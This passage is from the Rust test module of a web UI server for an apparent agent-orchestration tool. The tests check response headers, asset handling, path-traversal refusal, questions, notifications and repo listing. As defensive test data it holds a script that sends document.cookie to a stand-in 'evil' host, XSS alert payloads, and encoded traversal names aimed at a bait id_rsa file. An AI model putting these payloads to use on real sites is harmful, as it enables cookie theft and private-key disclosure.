4730 (Some(one), None) => Ok(one),
4731 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4732 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4733 "`{prefix}` matches more than one {what}, including {a} and {b}"
4734 ))),
4735 }
4736}
4737
4738#[cfg(test)]
4739mod tests {
4740 use pretty_assertions::assert_eq;
4741 use serde_json::Value;
4742 use tempfile::TempDir;
4743 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4744
4745 use super::*;
4746 use crate::config::Config;
4747 use crate::queue::{Source, TaskStatus};
4748
4749 const SETTLE_STEPS: usize = 3_000;
4760
4761 struct Fixture {
4767 home: TempDir,
4768 addr: SocketAddr,
4769 }
4770
4771 impl Fixture {
4772 async fn start() -> Self {
4773 Self::with_loop(launch_idle).await
4774 }
4775
4776 async fn with_loop(launch: Launch) -> Self {
4778 let home = TempDir::new().expect("temp home");
4779 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4780 Self { home, addr }
4781 }
4782
4783 async fn with_repo(repo: PathBuf) -> Self {
4787 let home = TempDir::new().expect("temp home");
4788 let addr = Self::serve(home.path(), repo, launch_idle).await;
4789 Self { home, addr }
4790 }
4791
4792 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4793 let queue = Queue::at(home.join("queue"));
4794 let runs = home.join("runs");
4795 std::fs::create_dir_all(&runs).expect("runs dir");
4796 let worktrees = home.join("wt").join("magi");
4797 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4798 let ui = Ui::new(
4799 queue,
4800 Questions::at(home.join("questions")),
4801 Talks::at(home.join("talks")),
4802 runs,
4803 home.to_path_buf(),
4804 repo,
4805 )
4806 .with_worktrees_root(worktrees)
4807 .with_launch(launch);
4808 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4809 .await
4810 .expect("bind loopback");
4811 let addr = listener.local_addr().expect("local addr");
4812 tokio::spawn(async move {
4813 let _ = axum::serve(listener, ui.router()).await;
4814 });
4815 addr
4816 }
4817
4818 fn queue(&self) -> Queue {
4819 Queue::at(self.home.path().join("queue"))
4820 }
4821
4822 fn questions(&self) -> Questions {
4823 Questions::at(self.home.path().join("questions"))
4824 }
4825
4826 fn talks(&self) -> Talks {
4827 Talks::at(self.home.path().join("talks"))
4828 }
4829
4830 fn runs(&self) -> PathBuf {
4831 self.home.path().join("runs")
4832 }
4833
4834 async fn get(&self, path: &str) -> Res {
4835 request(self.addr, "GET", path, None).await
4836 }
4837
4838 async fn head(&self, path: &str) -> Res {
4843 request(self.addr, "HEAD", path, None).await
4844 }
4845
4846 async fn post(&self, path: &str, body: Option<&str>) -> Res {
4847 request(self.addr, "POST", path, body).await
4848 }
4849
4850 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4851 request_with(self.addr, "GET", path, None, extra).await
4852 }
4853
4854 async fn delete(&self, path: &str) -> Res {
4855 request(self.addr, "DELETE", path, None).await
4856 }
4857
4858 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4860 request_bytes(self.addr, path, headers, body).await
4861 }
4862 }
4863
4864 struct Res {
4865 status: u16,
4866 headers: String,
4867 head: String,
4872 body: String,
4873 bytes: Vec<u8>,
4877 }
4878
4879 impl Res {
4880 fn json(&self) -> Value {
4881 serde_json::from_str(&self.body)
4882 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4883 }
4884
4885 fn header(&self, name: &str) -> Option<&str> {
4887 self.head.lines().find_map(|line| {
4888 let (key, value) = line.split_once(':')?;
4889 key.trim()
4890 .eq_ignore_ascii_case(name)
4891 .then(|| value.trim_start().trim_end_matches('\r'))
4892 })
4893 }
4894 }
4895
4896 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4899 request_with(addr, method, path, body, &[]).await
4900 }
4901
4902 async fn request_with(
4906 addr: SocketAddr,
4907 method: &str,
4908 path: &str,
4909 body: Option<&str>,
4910 extra: &[(&str, &str)],
4911 ) -> Res {
4912 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4913 for (name, value) in extra {
4914 head.push_str(&format!("{name}: {value}\r\n"));
4915 }
4916 if let Some(body) = body {
4917 head.push_str("Content-Type: application/json\r\n");
4918 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4919 }
4920 head.push_str("\r\n");
4921 if let Some(body) = body {
4922 head.push_str(body);
4923 }
4924 let mut socket = tokio::net::TcpStream::connect(addr)
4925 .await
4926 .expect("connect to the test server");
4927 socket
4928 .write_all(head.as_bytes())
4929 .await
4930 .expect("write request");
4931 let mut raw = Vec::new();
4932 socket.read_to_end(&mut raw).await.expect("read response");
4933 let split = raw
4936 .windows(4)
4937 .position(|w| w == b"\r\n\r\n")
4938 .expect("a header block");
4939 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4940 let bytes = raw[split + 4..].to_vec();
4941 let status = head
4942 .lines()
4943 .next()
4944 .and_then(|line| line.split_whitespace().nth(1))
4945 .and_then(|code| code.parse().ok())
4946 .expect("a status line");
4947 Res {
4948 status,
4949 headers: head.to_lowercase(),
4950 head,
4951 body: String::from_utf8_lossy(&bytes).into_owned(),
4952 bytes,
4953 }
4954 }
4955
4956 async fn request_bytes(
4962 addr: SocketAddr,
4963 path: &str,
4964 headers: &[(&str, &str)],
4965 body: &[u8],
4966 ) -> Res {
4967 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4968 for (name, value) in headers {
4969 head.push_str(&format!("{name}: {value}\r\n"));
4970 }
4971 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4972 let mut socket = tokio::net::TcpStream::connect(addr)
4973 .await
4974 .expect("connect to the test server");
4975 socket
4976 .write_all(head.as_bytes())
4977 .await
4978 .expect("write request head");
4979 socket.write_all(body).await.expect("write request body");
4980 let mut raw = Vec::new();
4981 socket.read_to_end(&mut raw).await.expect("read response");
4982 let split = raw
4983 .windows(4)
4984 .position(|w| w == b"\r\n\r\n")
4985 .expect("a header block");
4986 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4987 let bytes = raw[split + 4..].to_vec();
4988 let status = head
4989 .lines()
4990 .next()
4991 .and_then(|line| line.split_whitespace().nth(1))
4992 .and_then(|code| code.parse().ok())
4993 .expect("a status line");
4994 Res {
4995 status,
4996 headers: head.to_lowercase(),
4997 head,
4998 body: String::from_utf8_lossy(&bytes).into_owned(),
4999 bytes,
5000 }
5001 }
5002
5003 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5005 let mut state = RunState::new(
5006 PathBuf::from("/repo/magi"),
5007 "main".to_owned(),
5008 "0123456789abcdef".to_owned(),
5009 "Add a web UI\n\nMobile first.".to_owned(),
5010 Config::default(),
5011 );
5012 state.id = id.to_owned();
5013 state.status = status;
5014 let dir = runs.join(id);
5015 std::fs::create_dir_all(&dir).expect("run dir");
5016 std::fs::write(
5017 dir.join("run.json"),
5018 serde_json::to_string_pretty(&state).expect("serialize run"),
5019 )
5020 .expect("write run.json");
5021 }
5022
5023 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5024 let body = serde_json::json!({
5025 "schema": 1,
5026 "pid": 4242,
5027 "started_at": Timestamp::now().to_string(),
5028 "updated_at": updated_at.to_string(),
5029 "idle": false,
5030 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
5031 "completed": 7,
5032 "polls": 143,
5033 });
5034 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
5035 }
5036
5037 fn launch_idle(
5047 _opts: daemon::Opts,
5048 stop: daemon::Stop,
5049 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5050 Box::pin(async move {
5051 while !stop.stopped() {
5052 tokio::time::sleep(Duration::from_millis(2)).await;
5053 }
5054 Ok(())
5055 })
5056 }
5057
5058 fn launch_broken(
5061 _opts: daemon::Opts,
5062 _stop: daemon::Stop,
5063 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5064 Box::pin(async {
5065 Err(anyhow::anyhow!(
5066 "publish the daemon status file: read-only file system"
5067 ))
5068 })
5069 }
5070
5071 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5078 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5079
5080 fn launch_knocking_on_the_way_out(
5087 _opts: daemon::Opts,
5088 stop: daemon::Stop,
5089 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5090 Box::pin(async move {
5091 while !stop.stopped() {
5092 tokio::time::sleep(Duration::from_millis(2)).await;
5093 }
5094 let addr = PARK_KNOCK
5095 .lock()
5096 .expect("park knock")
5097 .expect("the test set an address");
5098 let heard = request(addr, "GET", "/api/health", None).await.status;
5099 *PARK_HEARD.lock().expect("park heard") = Some(heard);
5100 Ok(())
5101 })
5102 }
5103
5104 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5113 for _ in 0..SETTLE_STEPS {
5114 let view = fx.get("/api/loop").await.json();
5115 if want(&view) {
5116 return view;
5117 }
5118 tokio::time::sleep(Duration::from_millis(10)).await;
5119 }
5120 panic!(
5121 "the loop never settled: {}",
5122 fx.get("/api/loop").await.json()
5123 );
5124 }
5125
5126 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5128 let store = fx.questions();
5129 let mut q = Question::new(
5130 "20260902-000000-beef".to_owned(),
5131 "implement".to_owned(),
5132 "impl-A".to_owned(),
5133 summary.to_owned(),
5134 "because it matters".to_owned(),
5135 choices.iter().map(|c| (*c).to_owned()).collect(),
5136 );
5137 store.put(&mut q).expect("put question");
5138 q.id
5139 }
5140
5141 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5147 let store = fx.questions();
5148 let mut q = Question::new(
5149 "20260902-000000-beef".to_owned(),
5150 "land".to_owned(),
5151 "fix".to_owned(),
5152 "Merge this?".to_owned(),
5153 "the diff is in the panel".to_owned(),
5154 vec!["merge".to_owned(), "hold".to_owned()],
5155 );
5156 let staging = fx.home.path().join("staging");
5159 std::fs::create_dir_all(&staging).expect("staging dir");
5160 let sources: Vec<PathBuf> = assets
5161 .iter()
5162 .map(|(name, bytes)| {
5163 let path = staging.join(name);
5164 std::fs::write(&path, bytes).expect("write staged asset");
5165 path
5166 })
5167 .collect();
5168 store
5169 .put_panel(&mut q, html, &sources)
5170 .expect("write the panel");
5171 store.put(&mut q).expect("put question");
5172 q.id
5173 }
5174
5175 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5184 let store = fx.talks();
5185 std::fs::create_dir_all(store.root()).expect("talks dir");
5186 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5187 .expect("serialize a seat");
5188 let body = serde_json::json!({
5189 "schema": 1,
5190 "id": id,
5191 "repo": "/repo/magi",
5192 "agent": "mock",
5193 "status": status,
5194 "turns": [],
5195 "created_at": Timestamp::now().to_string(),
5196 "updated_at": Timestamp::now().to_string(),
5197 "seat": seat,
5198 });
5199 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5200 store.get(id).expect("the seeded talk has to be readable");
5201 id.to_owned()
5202 }
5203
5204 #[tokio::test]
5205 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5206 let fx = Fixture::start().await;
5207 let id = panel(
5208 &fx,
5209 "<h1>Merge?</h1><img src=\"diff.svg\">",
5210 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5211 );
5212
5213 for path in [
5214 format!("/api/questions/{id}/panel"),
5215 format!("/api/questions/{id}/asset/diff.svg"),
5216 ] {
5217 let res = fx.get(&path).await;
5218 assert_eq!(res.status, 200, "{path}: {}", res.body);
5219 assert_eq!(
5225 res.header("content-security-policy"),
5226 Some(
5227 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5228 font-src data:; base-uri 'none'; form-action 'none'; \
5229 frame-ancestors 'self'"
5230 ),
5231 "{path} is the only thing between a hostile panel and the tailnet"
5232 );
5233 assert_eq!(
5234 res.header("x-content-type-options"),
5235 Some("nosniff"),
5236 "{path}: a browser must not re-decide the type we sent"
5237 );
5238 assert_eq!(
5239 res.header("referrer-policy"),
5240 Some("no-referrer"),
5241 "{path}: a panel must not leak the question id off the machine"
5242 );
5243
5244 let pre = fx.head(&path).await;
5249 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5250 assert_eq!(
5251 pre.header("content-security-policy"),
5252 res.header("content-security-policy"),
5253 "{path}: the preflight carries the same policy"
5254 );
5255 assert_eq!(
5256 pre.header("content-type"),
5257 res.header("content-type"),
5258 "{path}: the preflight carries the same type"
5259 );
5260 }
5261 }
5262
5263 #[tokio::test]
5264 async fn a_panel_reaches_the_browser_byte_for_byte() {
5265 let fx = Fixture::start().await;
5266 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
5271 let id = panel(&fx, html, &[]);
5272
5273 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5274
5275 assert_eq!(res.status, 200);
5276 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5277 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5278 assert_eq!(
5279 res.header("content-disposition"),
5280 None,
5281 "the panel itself is rendered in the frame, not downloaded"
5282 );
5283 }
5284
5285 #[tokio::test]
5286 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5287 let fx = Fixture::start().await;
5288 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5289 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5290 let id = panel(
5291 &fx,
5292 "<img src=\"diff.svg\"><img src=\"shot.png\">",
5293 &[("diff.svg", svg), ("shot.png", png)],
5294 );
5295
5296 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5297 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5298
5299 assert_eq!(as_svg.status, 200);
5300 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5301 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5306
5307 assert_eq!(as_png.status, 200);
5308 assert_eq!(as_png.header("content-type"), Some("image/png"));
5309 assert_eq!(
5310 as_png.header("content-disposition"),
5311 None,
5312 "a raster image has no execution surface, so tapping it still shows it"
5313 );
5314 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5315 }
5316
5317 #[tokio::test]
5318 async fn an_html_asset_is_never_served_as_html() {
5319 let fx = Fixture::start().await;
5320 let id = panel(
5321 &fx,
5322 "<p>see the notes</p>",
5323 &[
5324 (
5325 "notes.html",
5326 b"<script>fetch('http://evil/'+document.cookie)</script>",
5327 ),
5328 ("hook.js", b"fetch('http://evil/')"),
5329 ("data.json", b"{}"),
5330 ("HEADLINE.TXT", b"plain"),
5331 ],
5332 );
5333
5334 for name in ["notes.html", "hook.js", "data.json"] {
5335 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5336 assert_eq!(res.status, 200, "{name}: {}", res.body);
5337 assert_eq!(
5342 res.header("content-type"),
5343 Some("application/octet-stream"),
5344 "{name} must not be a type the browser will execute or render"
5345 );
5346 }
5347 let txt = fx
5350 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5351 .await;
5352 assert_eq!(
5353 txt.header("content-type"),
5354 Some("text/plain; charset=utf-8")
5355 );
5356 }
5357
5358 #[tokio::test]
5359 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5360 let fx = Fixture::start().await;
5361 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5362 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5366
5367 for encoded in [
5374 "%2e%2e%2fid_rsa",
5375 "..%2fid_rsa",
5376 "..%5cid_rsa",
5377 "%2e%2e%5cid_rsa",
5378 "diff%00.svg",
5379 "..",
5380 ".hidden",
5381 "%2e%2e%2f%2e%2e%2fid_rsa",
5382 ] {
5383 let res = fx
5384 .get(&format!("/api/questions/{id}/asset/{encoded}"))
5385 .await;
5386 assert_eq!(
5387 res.status, 400,
5388 "`{encoded}` has to be refused by name, not looked up: {}",
5389 res.body
5390 );
5391 assert!(res.json()["error"].is_string(), "{}", res.body);
5392 }
5393
5394 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5400 let res = fx
5401 .get(&format!("/api/questions/{id}/asset/{literal}"))
5402 .await;
5403 assert_eq!(
5404 res.status, 404,
5405 "`{literal}` must not match the asset route at all: {}",
5406 res.body
5407 );
5408 }
5409 }
5410
5411 #[tokio::test]
5412 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5413 let fx = Fixture::start().await;
5414 let plain = ask(&fx, "Which backend?", &["SQLite"]);
5415 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5416
5417 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5421 assert_eq!(none.status, 404, "{}", none.body);
5422 assert!(none.json()["error"].is_string(), "{}", none.body);
5423 assert_eq!(
5424 fx.head(&format!("/api/questions/{plain}/panel"))
5425 .await
5426 .status,
5427 404,
5428 "the preflight is the only way the client can learn this"
5429 );
5430
5431 let missing = fx
5433 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5434 .await;
5435 assert_eq!(missing.status, 404, "{}", missing.body);
5436 assert!(missing.json()["error"].is_string(), "{}", missing.body);
5437
5438 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5440 assert_eq!(
5441 fx.get("/api/questions/nope/asset/diff.svg").await.status,
5442 404
5443 );
5444 }
5445
5446 #[tokio::test]
5447 async fn a_run_with_an_open_question_reads_as_waiting() {
5448 let fx = Fixture::start().await;
5449 let run = "20260902-000000-beef".to_owned();
5450 write_run(&fx.runs(), &run, RunStatus::Implementing);
5451
5452 let before = fx.get("/api/runs").await.json();
5453 assert_eq!(before[0]["waiting"], false, "{before}");
5454
5455 let store = fx.questions();
5456 let mut q = Question::new(
5457 run.clone(),
5458 "implement".to_owned(),
5459 "impl-A".to_owned(),
5460 "Which backend?".to_owned(),
5461 String::new(),
5462 vec!["SQLite".to_owned()],
5463 );
5464 store.put(&mut q).expect("put");
5465
5466 let during = fx.get("/api/runs").await.json();
5467 assert_eq!(during[0]["waiting"], true, "{during}");
5468
5469 q.answer(Answer::Choice("SQLite".to_owned()))
5472 .expect("answer");
5473 store.put(&mut q).expect("put");
5474 let after = fx.get("/api/runs").await.json();
5475 assert_eq!(after[0]["waiting"], false, "{after}");
5476 }
5477
5478 #[tokio::test]
5479 async fn an_open_question_is_listed_and_counted_by_health() {
5480 let fx = Fixture::start().await;
5481 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5482
5483 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5484 let listed = fx.get("/api/questions").await.json();
5485 assert_eq!(listed.as_array().expect("array").len(), 1);
5486 assert_eq!(listed[0]["id"], id);
5487 assert_eq!(listed[0]["status"], "open");
5488 assert_eq!(listed[0]["choices"][1], "Redis");
5489 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5492 }
5493
5494 #[tokio::test]
5495 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5496 let fx = Fixture::start().await;
5497 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5498 let path = format!("/api/questions/{id}/answer");
5499
5500 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5501 assert_eq!(res.status, 200, "{}", res.body);
5502 let body = res.json();
5503 assert_eq!(body["status"], "answered");
5504 assert_eq!(body["answer"]["choice"], "Redis");
5505
5506 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5510 assert_eq!(again.status, 409, "{}", again.body);
5511 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5512 }
5513
5514 #[tokio::test]
5515 async fn saying_something_appends_a_turn_without_answering() {
5516 let fx = Fixture::start().await;
5517 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5518 let path = format!("/api/questions/{id}/say");
5519
5520 let res = fx
5521 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5522 .await;
5523 assert_eq!(res.status, 200, "{}", res.body);
5524 let body = res.json();
5525 assert_eq!(body["status"], "open", "talking back is not a decision");
5526 assert_eq!(body["answer"], Value::Null);
5527 assert_eq!(body["thread"][0]["who"], "operator");
5528 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5529 assert_eq!(body["waiting_on_agent"], true);
5530 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5532 }
5533
5534 #[tokio::test]
5535 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5536 let fx = Fixture::start().await;
5537 let store = fx.questions();
5538 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5539 assert_eq!(
5540 fx.get("/api/health").await.json()["questions_needs_owner"],
5541 1
5542 );
5543
5544 let res = fx
5550 .post(
5551 &format!("/api/questions/{id}/say"),
5552 Some(r#"{"body":"why not Postgres?"}"#),
5553 )
5554 .await;
5555 assert_eq!(res.status, 200, "{}", res.body);
5556 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5557 assert_eq!(
5558 fx.get("/api/health").await.json()["questions_needs_owner"],
5559 0,
5560 "waiting on the agent is not waiting on the owner"
5561 );
5562
5563 let mut q = store.get(&id).expect("get");
5567 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5568 .expect("reply");
5569 store.put(&mut q).expect("put");
5570 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5571 assert_eq!(
5572 fx.get("/api/health").await.json()["questions_needs_owner"],
5573 1,
5574 "the agent's reply is what should light the banner back up"
5575 );
5576 }
5577
5578 #[tokio::test]
5579 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5580 let fx = Fixture::start().await;
5581 let store = fx.questions();
5582
5583 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5584 let res = fx
5585 .post(
5586 &format!("/api/questions/{empty_id}/say"),
5587 Some(r#"{"body":" "}"#),
5588 )
5589 .await;
5590 assert_eq!(res.status, 400, "{}", res.body);
5591
5592 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5593 let mut answered = store.get(&answered_id).expect("get");
5594 answered
5595 .answer(Answer::Choice("SQLite".to_owned()))
5596 .expect("answer");
5597 store.put(&mut answered).expect("put");
5598 let res = fx
5599 .post(
5600 &format!("/api/questions/{answered_id}/say"),
5601 Some(r#"{"body":"still there?"}"#),
5602 )
5603 .await;
5604 assert_eq!(res.status, 409, "{}", res.body);
5605
5606 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5607 let mut abandoned = store.get(&abandoned_id).expect("get");
5608 abandoned.abandon("timed out");
5609 store.put(&mut abandoned).expect("put");
5610 let res = fx
5611 .post(
5612 &format!("/api/questions/{abandoned_id}/say"),
5613 Some(r#"{"body":"still there?"}"#),
5614 )
5615 .await;
5616 assert_eq!(res.status, 409, "{}", res.body);
5617 }
5618
5619 #[tokio::test]
5620 async fn an_answer_the_question_does_not_offer_is_refused() {
5621 let fx = Fixture::start().await;
5622 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5623 let path = format!("/api/questions/{id}/answer");
5624
5625 for body in [
5626 r#"{"choice":"Postgres"}"#,
5627 r#"{"text":"whatever you think"}"#,
5628 r#"{"choice":"Redis","text":"both"}"#,
5629 r#"{}"#,
5630 ] {
5631 let res = fx.post(&path, Some(body)).await;
5632 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5633 assert!(res.json()["error"].is_string(), "{}", res.body);
5634 }
5635 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5637 }
5638
5639 #[tokio::test]
5640 async fn a_free_text_question_takes_text_and_not_a_choice() {
5641 let fx = Fixture::start().await;
5642 let id = ask(&fx, "What should the flag be called?", &[]);
5643 let path = format!("/api/questions/{id}/answer");
5644
5645 assert_eq!(
5646 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5647 400
5648 );
5649 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5650 assert_eq!(res.status, 200, "{}", res.body);
5651 assert_eq!(res.json()["answer"]["text"], "--json");
5652 }
5653
5654 #[tokio::test]
5655 async fn an_unknown_question_is_a_json_404() {
5656 let fx = Fixture::start().await;
5657 let res = fx
5658 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5659 .await;
5660 assert_eq!(res.status, 404, "{}", res.body);
5661 assert!(res.json()["error"].is_string());
5662 }
5663
5664 #[tokio::test]
5665 async fn notifications_list_read_dismiss_and_health_agree() {
5666 let fx = Fixture::start().await;
5667 let store = Notices::at(fx.home.path().join("notifications"));
5668 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5669 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5670
5671 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5672 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5673
5674 let health = fx.get("/api/health").await.json();
5675 assert_eq!(health["notifications_unread"], 2);
5676 assert_ne!(
5677 health["notifications_rev"], rev0,
5678 "the badge must move live"
5679 );
5680
5681 let listed = fx.get("/api/notifications").await.json();
5682 assert_eq!(listed["unread"], 2);
5683 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5684 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5685
5686 let read = fx
5687 .post(&format!("/api/notifications/{}/read", a.id), None)
5688 .await;
5689 assert_eq!(read.status, 200, "{}", read.body);
5690 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5691
5692 let gone = fx
5693 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5694 .await;
5695 assert_eq!(gone.status, 200, "{}", gone.body);
5696 let listed = fx.get("/api/notifications").await.json();
5697 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5698 assert_eq!(listed["unread"], 0);
5699
5700 store.raise(Notice::info("x", "again")).unwrap();
5701 let all = fx.post("/api/notifications/read-all", None).await;
5702 assert_eq!(all.status, 200, "{}", all.body);
5703 assert_eq!(all.json()["marked"], 1);
5704 assert_eq!(
5705 fx.get("/api/health").await.json()["notifications_unread"],
5706 0
5707 );
5708
5709 let missing = fx.post("/api/notifications/nope/read", None).await;
5710 assert_eq!(missing.status, 404, "{}", missing.body);
5711 assert!(missing.json()["error"].is_string());
5712 }
5713
5714 #[tokio::test]
5721 async fn a_task_cannot_be_filed_over_the_phone_directly() {
5722 let f = Fixture::start().await;
5723
5724 let res = f
5725 .post(
5726 "/api/queue",
5727 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5728 )
5729 .await;
5730
5731 assert_eq!(
5732 res.status, 405,
5733 "POST /api/queue must not be a route: {}",
5734 res.body
5735 );
5736 assert!(
5737 f.queue().list().is_empty(),
5738 "a task filed by a route that does not exist must not reach the disk"
5739 );
5740 assert_eq!(f.get("/api/queue").await.status, 200);
5743 }
5744
5745 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5747 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5748 .expect("checkout dir");
5749 }
5750
5751 #[tokio::test]
5752 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5753 let tmp = TempDir::new().expect("tempdir");
5754 let repo = tmp.path().join("repo");
5755 std::fs::create_dir_all(&repo).expect("repo dir");
5756 let root = tmp.path().join("root");
5757 make_checkout(&root, "github.com", "yukimemi", "magi");
5758 std::fs::write(
5759 repo.join("magi.toml"),
5760 format!(
5761 "[repos]\nroots = [{:?}]\n",
5762 root.to_string_lossy().into_owned()
5763 ),
5764 )
5765 .expect("write magi.toml");
5766
5767 let f = Fixture::with_repo(repo).await;
5768 let res = f.get("/api/repos").await;
5769 assert_eq!(res.status, 200, "{}", res.body);
5770 let list = res.json();
5771 let repos = list.as_array().expect("an array");
5772 assert_eq!(repos.len(), 1);
5773 assert_eq!(repos[0]["name"], "yukimemi/magi");
5774 assert!(
5775 repos[0]["path"]
5776 .as_str()
5777 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5778 "{list}"
5779 );
5780 }
5781
5782 #[tokio::test]
5783 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5784 let tmp = TempDir::new().expect("tempdir");
5785 let repo = tmp.path().join("repo");
5786 std::fs::create_dir_all(&repo).expect("repo dir");
5787 let root = tmp.path().join("root");
5788 make_checkout(&root, "github.com", "yukimemi", "magi");
5789 std::fs::write(
5790 repo.join("magi.toml"),
5791 format!(
5792 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5793 root.to_string_lossy().into_owned()
5794 ),
5795 )
5796 .expect("write magi.toml");
5797
5798 let f = Fixture::with_repo(repo).await;
5799 let first = f.get("/api/repos").await;
5800 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5801
5802 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5805 let second = f.get("/api/repos").await;
5806 assert_eq!(
5807 second.json().as_array().map(Vec::len),
5808 Some(1),
5809 "a fresh cache must not rescan inside the TTL"
5810 );
5811
5812 let refreshed = f.get("/api/repos?refresh=1").await;
5813 assert_eq!(
5814 refreshed.json().as_array().map(Vec::len),
5815 Some(2),
5816 "an explicit refresh must rescan even inside the TTL"
5817 );
5818 }
5819
